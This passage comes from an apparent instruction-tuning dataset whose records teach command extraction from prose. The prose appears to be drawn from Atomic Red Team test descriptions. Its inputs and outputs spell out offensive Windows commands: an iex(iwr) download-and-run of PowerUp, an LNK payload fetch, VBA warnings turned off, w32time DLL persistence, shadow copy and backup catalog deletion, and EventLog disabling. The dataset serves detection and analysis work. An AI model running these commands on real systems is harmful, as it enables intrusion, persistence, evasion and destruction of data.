like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This LNK file triggers PowerShell to download PuTTY from the internet and execute it, which can be done with the following command: Invoke-WebRequest -OutFile $env:Temp\\test10.lnk \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk\"\n$file1 = \"$env:Temp\\test10.lnk\"\nStart-Process $file1\nStart-Sleep -s 10\ntaskkill /IM a.exe /F\n; This process mimics the MirrorBlast T505 campaign's JS->MSI chain by executing a specially designed xlsm file, which requires the 32-bit Office version, via these commands: Cd \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\"\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security -Name \"VBAWarnings\" -Value \"1\" -PropertyType DWORD -Force | Out-Null\n& '.\\Excel 2016.lnk' \"PathToAtomicsFolder\\T1204.002\\bin\\mirrorblast_emulation.xlsm\"",
    "output": "{\"command_list\": [\"Invoke-WebRequest -OutFile $env:Temp\\\\test10.lnk \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk\\\"\\n$file1 = \\\"$env:Temp\\\\test10.lnk\\\"\\nStart-Process $file1\\nStart-Sleep -s 10\\ntaskkill /IM a.exe /F\\n\", \"Cd \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\"\\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security -Name \\\"VBAWarnings\\\" -Value \\\"1\\\" -PropertyType DWORD -Force | Out-Null\\n& '.\\\\Excel 2016.lnk' \\\"PathToAtomicsFolder\\\\T1204.002\\\\bin\\\\mirrorblast_emulation.xlsm\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish persistence, first stop the w32time service and copy the DLL to the Public folder, then modify the NtpServer registry key with the following commands:\nnet stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time; To execute the signed PubPrn.vbs script and download an arbitrary payload, use the following command: cscript.exe /b C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs localhost \"script:#{remote_payload}\"\n",
    "output": "{\"command_list\": [\"net stop w32time\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.003\\\\bin\\\\AtomicTest.dll\\\" C:\\\\Users\\\\Public\\\\AtomicTest.dll\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\NtpServer\\\" /t REG_SZ /v \\\"DllName\\\" /d \\\"C:\\\\Users\\\\Public\\\\AtomicTest.dll\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\NtpServer\\\" /t REG_DWORD /v \\\"Enabled\\\" /d \\\"1\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\NtpServer\\\" /t REG_DWORD /v \\\"InputProvider\\\" /d \\\"1\\\" /f\\nnet start w32time\\n\", \"cscript.exe /b C:\\\\Windows\\\\System32\\\\Printing_Admin_Scripts\\\\en-US\\\\pubprn.vbs localhost \\\"script:#{remote_payload}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When executed, the batch script will launch briefly in CMD before closing, which can be done with this command: Start-Process \"#{script_path}\"; The operation writes text to a file and shows the results with the command: echo \"#{message}\" > \"#{file_contents_path}\" & type \"#{file_contents_path}\"",
    "output": "{\"command_list\": [\"Start-Process \\\"#{script_path}\\\"\\n\", \"echo \\\"#{message}\\\" > \\\"#{file_contents_path}\\\" & type \\\"#{file_contents_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script searches for bookmark files in Chrome and Edge Chromium installations, displaying their paths when you run the command: where /R C:\\Users\\ Bookmarks; The system will search for Firefox bookmark SQLITE databases and show their locations when you use the command: where /R C:\\Users\\ places.sqlite",
    "output": "{\"command_list\": [\"where /R C:\\\\Users\\\\ Bookmarks\\n\", \"where /R C:\\\\Users\\\\ places.sqlite\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This action, commonly seen in ransomware and APT attacks including Olympic Destroyer, deletes Windows Volume Shadow Copies via the command: wmic.exe shadowcopy delete; To delete the Windows Backup Catalog, a technique employed by various ransomware and APT malware like Olympic Destroyer, use the following command: wbadmin delete catalog -quiet",
    "output": "{\"command_list\": [\"wmic.exe shadowcopy delete\\n\", \"wbadmin delete catalog -quiet\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate Google Chrome's and Opera's Bookmarks files on Windows systems, use the following command: Get-ChildItem -Path C:\\Users\\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force; This script searches for bookmark files in Chrome and Edge Chromium installations, displaying their paths when you run the command: where /R C:\\Users\\ Bookmarks",
    "output": "{\"command_list\": [\"Get-ChildItem -Path C:\\\\Users\\\\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force\\n\", \"where /R C:\\\\Users\\\\ Bookmarks\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test simulates an attacker disabling the EventLog-Application channel by modifying the registry with this command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\" /v \"Start\" /t REG_DWORD /d \"0\" /f. The modification will be applied after the next system reboot.; This atomic simulates an attacker disabling the EventLog-Application channel by executing the command: New-ItemProperty -Path HKLM:\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application -Name Start -Value 0 -PropertyType \"DWord\" -Force, which modifies the Windows registry to disable logging until the next reboot.",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application\\\" /v \\\"Start\\\" /t REG_DWORD /d \\\"0\\\" /f\", \"New-ItemProperty -Path HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application -Name Start -Value 0 -PropertyType \\\"DWord\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: 